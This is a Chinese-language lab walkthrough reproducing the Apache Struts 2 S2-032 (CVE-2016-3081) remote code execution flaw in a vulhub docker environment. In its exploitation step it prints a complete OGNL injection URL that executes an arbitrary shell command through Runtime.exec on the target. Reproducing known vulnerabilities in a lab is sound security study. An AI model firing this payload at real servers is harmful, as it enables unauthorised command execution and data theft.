s2-032漏洞复现(CVE-2016-3081)
一、漏洞描述
Apache Struts 2是世界上最流行的Java Web服务器框架之一。然而近日国内安全企业安恒信息的安全研究员Nike.zheng在Struts 2上发现存在高危安全漏洞(CVE-2016-3081,S02-32),黑客可以利用漏洞直接执行任意代码,绕过文件限制,上传文件,执行远程命令,控制服务器,直接盗取用户的所有资料,该漏洞广泛影响所有struts版本。
二、漏洞环境搭建
需要准备的工具如下:
1.docker+vulhub漏洞库
2.靶机Ubuntu18.04虚拟机(其他也可以)
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有先安装docker+vulhub
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-032#
执行命令
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-032# docker-compose up -d
等到出现以下的页面时证明已经搭建完成
可以访问http://your-ip:8080
,出现如下页面证明环境搭建成功!
三、漏洞利用
1、直接上EXP。。
http://172.16.100.179:8080/memoindex.action?
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setC
haracterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23pa
rameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23
w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls
可以看到命令执行成功!
2、关闭docker环境
进入环境目录,执行命令
root@admin666-virtual-machine:~/vulhub-master/struts2/s2-032# docker-compose down